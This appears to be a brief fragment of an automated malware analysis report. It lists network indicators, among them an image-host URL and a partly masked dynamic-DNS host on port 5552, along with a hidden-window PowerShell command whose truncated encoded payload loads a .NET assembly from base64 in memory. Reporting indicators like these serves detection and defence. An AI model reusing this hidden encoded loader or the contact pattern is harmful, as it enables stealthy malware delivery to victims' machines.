Technical Information
- https://i.top4top.io/p_1748mt84y1.jpg
- 'jh#####n4882.ddns.net':5552
- 'i.###4top.io':443
- DNS ASK i.###4top.io
- DNS ASK jh#####n4882.ddns.net
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -sta -NoExit -WindowStyle Hidden -EncodedCommand WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFM...' (with hidden window)